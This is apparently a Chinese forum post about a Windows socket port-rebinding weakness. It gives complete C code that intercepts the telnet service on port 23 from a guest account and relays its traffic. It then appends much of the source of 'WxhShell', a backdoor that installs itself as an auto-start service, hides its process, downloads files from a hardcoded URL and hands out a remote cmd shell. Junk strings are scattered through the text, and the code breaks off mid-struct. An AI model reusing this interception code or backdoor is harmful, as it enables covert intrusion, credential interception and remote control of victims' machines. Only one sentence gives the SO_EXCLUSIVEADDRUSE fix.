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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fVBu?<=d s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k*T&>$k}^ -F-,Gcos saddr.sin_family = AF_INET; ^W,x kh*td(pfP9 saddr.sin_addr.s_addr = htonl(INADDR_ANY); FwSV
\N+#' Mw $.B# bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?Qh[vcF7` NEMC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W QyMM@# D|5Fo'O^AV 这意味着什么?意味着可以进行如下的攻击: r%oXO]X M#]URS2h<O 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [%7oq;^J ^d/,9L\U 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cNRe > 9O#?r82 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ru`7Xd. oO,"B8a 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 jowR!rqf &
Mf nH 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~D Ta%J QcDtZg\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }2_i<4,L HFf9^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ![@\p5-e )pt#Pu
#include +QFY.>KH #include T_?,? #include ;!N_8{
7r #include q"^T}d d, DWORD WINAPI ClientThread(LPVOID lpParam); V_7QWIdiy> int main() vJ!<7 l& { *Ry
"`" WORD wVersionRequested; 5},kXXN{+ DWORD ret; k;y5nXIlN WSADATA wsaData; v/DWy(CC BOOL val; 5-X(K 'Q SOCKADDR_IN saddr; s av SOCKADDR_IN scaddr; ,!g%`@u int err; <)9E .h SOCKET s; <q#/z&F! SOCKET sc; O0#9D'{ int caddsize; ~f>km|Q{u HANDLE mt; FiJU
* DWORD tid; (&Z`P wVersionRequested = MAKEWORD( 2, 2 ); })@LvYK err = WSAStartup( wVersionRequested, &wsaData ); MDKiwT@# if ( err != 0 ) { 6P*2Kg` printf("error!WSAStartup failed!\n"); q\6ZmKGnT return -1; ~w9ZSSb4 } :Qra9;
Y saddr.sin_family = AF_INET; `]:&h' Nl `8Kcv //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E; Z1HF
R @#5PPXp saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u~a@:D/F{G saddr.sin_port = htons(23); HGRH9W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /SZg34% { 'xY@I`x printf("error!socket failed!\n"); Arb-,[kwN return -1; KFMEY\ 6\h } CK+_T}+- val = TRUE; gcfEJN4' //SO_REUSEADDR选项就是可以实现端口重绑定的 Z}'"c9oB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BAS3&f A { :.M"M$MRp8 printf("error!setsockopt failed!\n"); @z)_m!yV1 return -1; HNtl>H } ?rn#S8nNx< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,d34v*U //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ()v{HBi //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 & ]/Z~V t Hh1OD?N) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [m3k_;[ { 0Bpix|mq ret=GetLastError(); 6+[7UH~pm^ printf("error!bind failed!\n"); e7.!=R{6 return -1; ;MR(Eaep } RGim):1e listen(s,2); )FrXD3p while(1) P7GF"/ { /P/S0 caddsize = sizeof(scaddr); Ug^v
]B9 //接受连接请求 lx&ME#~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7Q9zEd"d if(sc!=INVALID_SOCKET) \WeGO.i- { ?0VLx,kp mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yXx}'=&!0 if(mt==NULL) Qm\VZ<6/5 { i`1QR@11 printf("Thread Creat Failed!\n"); sy|{}NkA! break; <v)Ai;l, } 3%W
R } L>mv\D;o. CloseHandle(mt); ?g$dz?^CK& } 9H<6k* closesocket(s); Lc<C1I 5= WSACleanup(); W|FP j^*t return 0; L@{5:#- } EI29; DWORD WINAPI ClientThread(LPVOID lpParam) $iA`_H`W { `_;VD?")*l SOCKET ss = (SOCKET)lpParam; *?`:= SOCKET sc; R3$K[Lv, unsigned char buf[4096]; 2Xm\; 7 SOCKADDR_IN saddr; 3' WS6B+ long num; e_BOzN~c DWORD val; >#RXYDd DWORD ret; =kspHP<k //如果是隐藏端口应用的话,可以在此处加一些判断 =y/VrF.bV //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Tl!}9/Q5E: saddr.sin_family = AF_INET; sGCV um} saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WBA0!
g98 saddr.sin_port = htons(23); F:CqB| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) In)#`E` g. { &OiJJl[9 printf("error!socket failed!\n"); gn?
~y` return -1; UEJX0= } }>w;(R val = 100; 'lU9*e9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ba 3_55] { $e! i4pM ret = GetLastError(); l\yFx return -1; U&6!2s- } QMzBx*g( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c4R6E~S { bYEq`kjzc ret = GetLastError(); }cll? 2 return -1; ?hS n) } m#'2
3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V$wf;v0d( { }XiS:
printf("error!socket connect failed!\n"); J}coWjw`q closesocket(sc); 1@H3!V4 closesocket(ss); kg$<^:uX return -1; t`DoTb4 } ^z$-NSlI while(1) eA>O<Z1> { $H/3t? 6h` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Rp)82-
. //如果是嗅探内容的话,可以再此处进行内容分析和记录 bf
`4GD( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HzM^Zn57% num = recv(ss,buf,4096,0); w*ig[{
I if(num>0) <3QE3;4 send(sc,buf,num,0); 'hL\xf{ else if(num==0) i+&*W{Re break; O1@xF9< num = recv(sc,buf,4096,0); -O_5OT4 if(num>0) S5'BXE, send(ss,buf,num,0); 9[|Ql else if(num==0) }abM:O
"Y break; #5T+P8 } ]OHzE]Q closesocket(ss); abtAkf closesocket(sc); vcAs!ls+ return 0 ; `,&h!h(( } VuFH
>8n U]fE(mpI9 O~B
iqm ========================================================== z48,{H6h ;t@zH+*} 下边附上一个代码,,WXhSHELL '1=t{Rw Fy<dk}@ ========================================================== *;O$=PE K!k,]90Ko #include "stdafx.h" |J2Rwf w/N.#s^ #include <stdio.h> [,-MC7>] #include <string.h> -.1x! ~.jX #include <windows.h> 'uBW1, #include <winsock2.h> F`U%xn, #include <winsvc.h> eQno]$-\ #include <urlmon.h> c0u!V+V% [X=-x=S, #pragma comment (lib, "Ws2_32.lib") <O>r e3s #pragma comment (lib, "urlmon.lib") X#-U 5FnWlFc #define MAX_USER 100 // 最大客户端连接数 Xf9<kbRw/ #define BUF_SOCK 200 // sock buffer AU$W=Z* #define KEY_BUFF 255 // 输入 buffer x\!Qe\lE 8MM#q+8 #define REBOOT 0 // 重启 y_38;8ex #define SHUTDOWN 1 // 关机 x9~d_>'A mTW0_!. #define DEF_PORT 5000 // 监听端口 X&t)S?eCos ~DVAk|fc #define REG_LEN 16 // 注册表键长度 *8fnxWR #define SVC_LEN 80 // NT服务名长度 2IqsBK` :p(3Ap2TY // 从dll定义API FlRbGg^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kp[+Iun? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uOEy}&fH typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S-npJh
6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G{i}z^n ]&qujH^Dd* // wxhshell配置信息 r~z-l, struct WSCFG { ITRv^IlF int ws_port; // 监听端口
.-' char ws_passstr[REG_LEN]; // 口令 oJUVW"X6 int ws_autoins; // 安装标记, 1=yes 0=no b"t!nfgo char ws_regname[REG_LEN]; // 注册表键名 ;-lk#D?n9 char ws_svcname[REG_LEN]; // 服务名 Z'>Xn^ char ws_svcdisp[SVC_LEN]; // 服务显示名 Y>{K2#k char ws_svcdesc[SVC_LEN]; // 服务描述信息 d90B15]gv char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ni'vz7j int ws_downexe; // 下载执行标记, 1=yes 0=no OO]~\j char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" q[nX<tO char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A{Z=[]r1`E /,f*IdB }; DHW;*A- ^UZEdR; // default Wxhshell configuration KO<Yc`Fs struct WSCFG wscfg={DEF_PORT, H ZIJKk( "xuhuanlingzhe", 3lqR(Hh3 1, V{O,O,* "Wxhshell", .%h.b6^ "Wxhshell", B9/x?Jv1 "WxhShell Service", '%yWz)P "Wrsky Windows CmdShell Service", *
'WzIk2 "Please Input Your Password: ", } '. l'% 1, #qGfo) " http://www.wrsky.com/wxhshell.exe", ;+g
p#&i` "Wxhshell.exe" :Oo(w%BD] }; /-b)`%Q|Y KY<>S/ // 消息定义模块 B@Ez,u5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +#}I^N char *msg_ws_prompt="\n\r? for help\n\r#>"; :seo0w] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; cXFNX< char *msg_ws_ext="\n\rExit."; 0
ML=] char *msg_ws_end="\n\rQuit."; &7!&]kA+ char *msg_ws_boot="\n\rReboot..."; Pk7Yq:avL char *msg_ws_poff="\n\rShutdown..."; O7I:Y85i#O char *msg_ws_down="\n\rSave to "; 3<1Uq3Pa w-2p'u['Z char *msg_ws_err="\n\rErr!"; ^<'5 V) char *msg_ws_ok="\n\rOK!"; Y'&A~/Adf ` =RJ8u char ExeFile[MAX_PATH]; F``$}]9KHD int nUser = 0; #Sr_PEo
_ HANDLE handles[MAX_USER]; -LJbx<' int OsIsNt; 57Q^"sl TggM/@k SERVICE_STATUS serviceStatus; )C5<puh SERVICE_STATUS_HANDLE hServiceStatusHandle; m:59f9WXA :D8V*F6P // 函数声明
`@b+'L int Install(void); ykH?;Xu int Uninstall(void); Eg-3GkC int DownloadFile(char *sURL, SOCKET wsh); B\wH`5/KW int Boot(int flag); sWP5=t(i+9 void HideProc(void); Yj|Oy int GetOsVer(void); Cb7f-Eag int Wxhshell(SOCKET wsl);
G4vXPx%a8 void TalkWithClient(void *cs); A,{X<mLFb int CmdShell(SOCKET sock); `$\g8Mo int StartFromService(void); 4pq@o int StartWxhshell(LPSTR lpCmdLine); FN NEh 1@6dHFA`o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UB }n= VOID WINAPI NTServiceHandler( DWORD fdwControl ); v=E V5#A ^6bU4bA // 数据结构和表定义 8bLA6qmM\ SERVICE_TABLE_ENTRY DispatchTable[] = 47ra`* { _nOJ.G {wscfg.ws_svcname, NTServiceMain}, m{
.'55 {NULL, NULL} (ec?_N0= }; Xi^3o 7"Sw))H| // 自我安装 IqJ7'X int Install(void) uIvy1h9m { NJ^`vWi char svExeFile[MAX_PATH]; 9E4H`[EQ HKEY key; AA"?2dF strcpy(svExeFile,ExeFile); obKWnet "5"6mw? // 如果是win9x系统,修改注册表设为自启动 @r]wZ~@ if(!OsIsNt) { x*Y&s< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :p0|4g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fhw.A5Ck RegCloseKey(key); aN?{MA\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W+-a@)sh3Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4HQP, RegCloseKey(key); hqIYo
.< return 0; Kq@n BkO4 } Gx
ci } zZ&L# } D1o<:jOj else { k
#y4pF_ o^hI\9 // 如果是NT以上系统,安装为系统服务 REUWK#> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h@}KBK if (schSCManager!=0) {"$
Q'T { y! he<4 SC_HANDLE schService = CreateService yBqv'Y ( P,r9< schSCManager, =QFnab?N wscfg.ws_svcname, p\T9q wscfg.ws_svcdisp, 2A7g}V SERVICE_ALL_ACCESS, 99w;Q 2k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QlmZBqK}& SERVICE_AUTO_START, ,ef"S
r SERVICE_ERROR_NORMAL, WPi^;c8 svExeFile, YUU|!A8x NULL, u;\:#721 NULL, mX3~rK>@~ NULL, <`,pyvR Kv NULL, 4A^=4"BCV NULL !Z[dK{f" ); V9[-# Ti if (schService!=0)
k>y68_ { ~SgW+sDFu CloseServiceHandle(schService); tgXIj5z CloseServiceHandle(schSCManager); px;5X4U strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i1k(3:ay< strcat(svExeFile,wscfg.ws_svcname); gD E',)3Q, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _Mq0QQ42 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2c`m8EaJ RegCloseKey(key); vH/z|< return 0; :9un6A9JS } =67dpQ'y } |g<1n CloseServiceHandle(schSCManager); }#}IR5`=E } M\O6~UFq! } Tap=K|b ]
g
/D@/AU1u return 1; VP[-BK[ } BayO+,>K ;AMbo`YK[ // 自我卸载 ]vj4E"2; int Uninstall(void) v$c*3H.seM { fq(r,h=| HKEY key; qOy3D~ ^*.S7.;2o if(!OsIsNt) { 9s\(yC8h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g&9E>w T RegDeleteValue(key,wscfg.ws_regname); ;/+VHZP; RegCloseKey(key); e+jp03m\W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 09z%y[z RegDeleteValue(key,wscfg.ws_regname); 7|4hs:4mD RegCloseKey(key); !R*%F return 0; i(R&Q;{E^ } l9"4"+?j< } ,4W|e! } ^2Sa_. else { qj*IKS <tkxE!xF`J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AffVah2o: if (schSCManager!=0) BzBij^h { *lHI\5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @i'24Q[6 if (schService!=0) :K&> { 62lG,y_L if(DeleteService(schService)!=0) { i(DoAfYf/q CloseServiceHandle(schService); <cu? g CloseServiceHandle(schSCManager); _=W ^#z return 0; Z*
eb } 5sJi- ^ CloseServiceHandle(schService); U: 6 J ~ } [U+6Tj, CloseServiceHandle(schSCManager); vzD3_
?D } Q`mw2$zv } 3C'`c= `k y>M- return 1; '5xf?0@s. } W+k`^A|@ hnWo.5;$ // 从指定url下载文件 P<P4*cOV int DownloadFile(char *sURL, SOCKET wsh) )zw}+z3st { B.w ihJVDg HRESULT hr; V_Z ~$ char seps[]= "/"; MgJiJ0y char *token; mXZOkx{ char *file; @Dc?fyY*o< char myURL[MAX_PATH]; \2cbZQx char myFILE[MAX_PATH]; jP'.a. ^o$ wI'8B{[ strcpy(myURL,sURL); xK4b(KJj token=strtok(myURL,seps); Cb}hE
ro while(token!=NULL) , VZ;= { dm3cQ<0 file=token; ^]mwL)I} token=strtok(NULL,seps); tln*Baq } vd7%#sHH& OiPE,sv GetCurrentDirectory(MAX_PATH,myFILE); RqTW$94RD strcat(myFILE, "\\"); Q*wub9 strcat(myFILE, file); "=)i'x"0" send(wsh,myFILE,strlen(myFILE),0); :$Lu
V5 send(wsh,"...",3,0); _r!''@B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o6f^DG3* if(hr==S_OK) w)I!q&`Y return 0; 0Yz
&aH else Ao%E]M return 1; 2`4'Y.Qf zt/p'khP3 } gb
6 gIFq; y[7*^9J // 系统电源模块 0gY,[aQ2 int Boot(int flag) #fg RF { m~s.al(G91 HANDLE hToken; !>XG$-$`Z TOKEN_PRIVILEGES tkp; B ;Zsp I#(D.\P if(OsIsNt) { ^bpxhf
x OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ',-4o- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
fuJ6
fmT tkp.PrivilegeCount = 1; p)}iUU2N tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pQ0yZpN%; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RB1c!h$u if(flag==REBOOT) { cVv>"oF;~* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G=4Da~<ij return 0; @}@`lv65} } KobNi#O+ else { R03V+t= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bvx%|:R return 0; > o{(f } F5Ce:+h } =\s(v-8 else { zjd]65P if(flag==REBOOT) { =IBdnEz:M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <d$kGCz return 0; KA:>7- } @W3fKF9*R else { r1:S8RT;H5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S!gV\gEbDj return 0; ]/;0 } ]X4
A)4y } \
B 0xL,o< K~$o2a
e return 1; )fSQTbB;0 } -L7Q,"a$ (bH*i\W // win9x进程隐藏模块 [sG=(~BU void HideProc(void) U(5(0r { >O[# 661 Zcd!y9]# HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 31mY]Jve" if ( hKernel != NULL ) pE >~F { U+sAEN_e k pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T1m097 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !Dp4uE:Pq FreeLibrary(hKernel); YIs (Q
} Qg btb-MSkO return; V.J[Uwf } d#7 z
N MNip;S_j // 获取操作系统版本 i}Ea>bi{N int GetOsVer(void) %)_R>. > { Pz3jc|Ga OSVERSIONINFO winfo; mMO:m8W winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _QCspPT' c GetVersionEx(&winfo); ,vP9oY[n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G`E%uyjG$j return 1; *1iJa else o?uTL>Zin return 0; :pQZ)bF } F;yq/e#Q 8YFfnk // 客户端句柄模块 EOhUr=5~ int Wxhshell(SOCKET wsl) A" `62 { h$|K vS SOCKET wsh; s9)
@$3\ struct sockaddr_in client; WQ4:='( DWORD myID; 4A0R07" e#L/ while(nUser<MAX_USER) 7dI+aJ { y|V/xm+Fp int nSize=sizeof(client); 0[}"b(O{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bnLvJ]i) if(wsh==INVALID_SOCKET) return 1; sJtz{' EL80f>K handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +g ovnx if(handles[nUser]==0) ~Bn#AkL closesocket(wsh); "
M8j? else /HH5Mn* nUser++; (qHI>3tpY } n5"rSgUtE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2-nL2f!a{p cX"[#Em# return 0; (i>VJr } _m0HgLS~ rFZB6A<(] // 关闭 socket 5~4I.+~8 void CloseIt(SOCKET wsh) nab:y(]$/ { j y{T=Nb closesocket(wsh); x,
a[ p\1 nUser--; 95^w" [}4Q ExitThread(0); <9eQ } Wfkm'BnV 2S}%r4$n} // 客户端请求句柄 qQ%zSJ? void TalkWithClient(void *cs) ZN5\lon|Y { laqKP+G |{cdXbr SOCKET wsh=(SOCKET)cs; /ow/)\/} char pwd[SVC_LEN]; 2qKo|'gL` char cmd[KEY_BUFF]; sl-LX)*N# char chr[1]; T=:&W3 int i,j; ^sd+s ~xx NS6Bi3~ while (nUser < MAX_USER) { zAt!jP0E CF>k_\/Bj if(wscfg.ws_passstr) { <=n$oMO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ymXR#E //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L+bO
X //ZeroMemory(pwd,KEY_BUFF); +SkD/"5ng i=0; ;Avd$&:: while(i<SVC_LEN) { r]Da4G^ G+AD
&EHV // 设置超时 [ivz/r(Rj fd_set FdRead; @^}
%
o-: struct timeval TimeOut; ,7SLc+ FD_ZERO(&FdRead); d|]F^DDuI FD_SET(wsh,&FdRead); T^S|u8f TimeOut.tv_sec=8; _WtX8 TimeOut.tv_usec=0; R+8+L|\wHv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8dq{.B? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q%
)Y o+`W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bP&o]?dN pwd =chr[0]; u-Ct-0 if(chr[0]==0xd || chr[0]==0xa) { vlIet$k pwd=0; -N^}1^gA break; Qbfm*JP~ } P1=bbMk i++; )<9g+^ } ~-lIOQ.v QkZT%!7 // 如果是非法用户,关闭 socket o1MI&}r if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S20x } $1.iMHb
g$kK)z send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~el#pf~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wKe^5|Rr j[m\;3Sp while(1) { !tv3.:eT <<LmO-92 ZeroMemory(cmd,KEY_BUFF); n_AW0i. Y1+4ppZ // 自动支持客户端 telnet标准 ygS*))7
r j=0; $$<9tqA while(j<KEY_BUFF) { mJ<rzX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7<x0LW cmd[j]=chr[0]; uf\Hh -+p if(chr[0]==0xa || chr[0]==0xd) { >},O_qx cmd[j]=0; 5|x&Z/hL break; 7!hL(k[ } Q{b Z D* j++; +`u]LOAyP= } r-'\<d(J$ yfiRMN"2 // 下载文件 NS-u,5Jt if(strstr(cmd,"http://")) { RPPxiYU^ send(wsh,msg_ws_down,strlen(msg_ws_down),0); I/jMe'Kp if(DownloadFile(cmd,wsh)) WW0N"m' send(wsh,msg_ws_err,strlen(msg_ws_err),0); G%;XJsFGp else Kl{2^q> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,AGK O,w } =r3Yt9 else { g$ZgR)q MA.1t switch(cmd[0]) { 4otB1{ p]*$m=t0r // 帮助 k^z)Vu|f. case '?': { d"Y9go"Z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c~ l$_A break; fW!~*Q } .
Uv7{( // 安装 ss T o?WL| case 'i': { EyI
9$@4 if(Install()) P9:7_Vc send(wsh,msg_ws_err,strlen(msg_ws_err),0); !w]!\H else y1cAw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6=Kl[U0Y break; *W y0hnr;] } D(Zux8l // 卸载 _ D1bR7 case 'r': { ,[,+ _A if(Uninstall()) M
ioS send(wsh,msg_ws_err,strlen(msg_ws_err),0); )J<Li!3 else "'94E,W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aWm0*W"(@ break; .^I,C!O# } u]@``Zb| // 显示 wxhshell 所在路径 JMuUj_^}7 case 'p': { /XEcA5C< char svExeFile[MAX_PATH]; eg~$WB;1 strcpy(svExeFile,"\n\r"); vlw2dY@^ strcat(svExeFile,ExeFile); /8q7pwV send(wsh,svExeFile,strlen(svExeFile),0); |iLeOztuE break; DGO_fR5L } p+snBaAo} // 重启 J;+tQ8,AP case 'b': { S"CsY2; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '1~mnmiP if(Boot(REBOOT)) 0fxA*]h send(wsh,msg_ws_err,strlen(msg_ws_err),0);
?Vbe else { 9Vxsv*OR, closesocket(wsh); yrR<F5xge ExitThread(0); RQy|W}d_ } ;dRTr * break; ? =_l=dR } ppR~e*rv- // 关机 =\J^_g4-l case 'd': { =:P9 $ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @Rig@ if(Boot(SHUTDOWN)) <4^ _dJ9= send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cj"k
Fq4 else { #AyM! closesocket(wsh); @bmu4!"d ExitThread(0); SY`NZJK } f5
wn`a~h break; hx+a.N } kMo;<Z // 获取shell L'J$jB5cP case 's': { mJc'oG- CmdShell(wsh); P%xk
closesocket(wsh); @Q!f^ ExitThread(0); 9j49#wG0"B break; $f_;>f2N } *hF5cM[ // 退出 ?:s `}b case 'x': { zbddn4bW9 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $d:/cN
8E CloseIt(wsh); {ogGi/8 break; VHM ,W]
} |n=m8X // 离开 x/~V
ZO case 'q': { 1oFU4+{ 4 send(wsh,msg_ws_end,strlen(msg_ws_end),0); B*zb0hdo: closesocket(wsh); IJD'0/R'c WSACleanup(); w)&] k#r exit(1); r5(OH3 break; n/pM[gI } }pu2/44=W } >9esZA^'; } ',z'.t &~6Z)} // 提示信息 1MRt_*N4 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xh#ef=Bw } JZD27[b } uDafPTF /cJ$`
pN return; Fr,>| } NJz8ANpro$ =NSLx 2:T // shell模块句柄 Z]1~9:7ap int CmdShell(SOCKET sock) rMTtPuc2 { Cl\Vk STARTUPINFO si; -tF5$pb' ZeroMemory(&si,sizeof(si));
b?CmKiM% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W+H27qsv si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yT-m9$^v PROCESS_INFORMATION ProcessInfo; r@e_cD]
M char cmdline[]="cmd"; +'=^/! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?T$i return 0; _q)`Y:2 } n~8-+$6OR 'ujtw:Z: // 自身启动模式 ^ ^} int StartFromService(void) AQbbIngo { F{[2|u(4 typedef struct [bJ"*^M) { 4eU};Pv DWORD ExitStatus; '@AK0No\W DWORD PebBaseAddress; 3iV/7~
O DWORD AffinityMask; W7l/{a
